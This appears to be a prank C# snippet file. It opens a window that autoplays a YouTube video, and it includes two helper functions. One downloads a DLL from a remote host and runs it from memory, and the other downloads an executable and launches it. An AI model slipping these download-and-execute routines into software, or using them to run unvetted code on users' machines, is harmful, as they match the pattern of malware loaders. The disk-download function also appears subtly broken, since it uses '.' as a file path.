Drop your pants!

magic.cs

static void doMagic()
{
    var form = new System.Windows.Forms.Form();
    form.Text = "Drop your pants!";
    form.Width = 800;
    form.Height = 500;
    var browser = new System.Windows.Forms.WebBrowser();
    browser.Anchor = AnchorStyles.Bottom | AnchorStyles.Right | AnchorStyles.Left | AnchorStyles.Top;
    browser.Size = form.Size;
    browser.Navigate("http://www.youtube.com/embed/uIN48CE6L_I?autoplay=1");

    form.Controls.Add(browser);
    form.Show();
}

// The "dynamic" keyword requires reference to Microsoft.CSharp.dll
static void downloadAssemblyToMemoryAndRun()
{
    string url = "http://update.debesys.net/stuff/AdlJukeBox.dll";

    var wc = new System.Net.WebClient();
    byte[] bytes = wc.DownloadData(url);

    var asm = System.Reflection.Assembly.Load(bytes);
    dynamic obj = asm.CreateInstance("AdlJukeBox.JukeBox");

    obj.Run(); // or whatever method
}

static void downloadExecToDiskAndRun ()
{
    string url = "some interweb address of an executable";
    string destination = ".";

    var wc = new System.Net.WebClient();
    wc.DownloadFile(url, destination);

    var psi = new System.Diagnostics.ProcessStartInfo();
    psi.FileName = destination;

    System.Diagnostics.Process.Start(psi);
    // or: System.Diagnostics.Process.Start(destination) if you don't need any extra options
}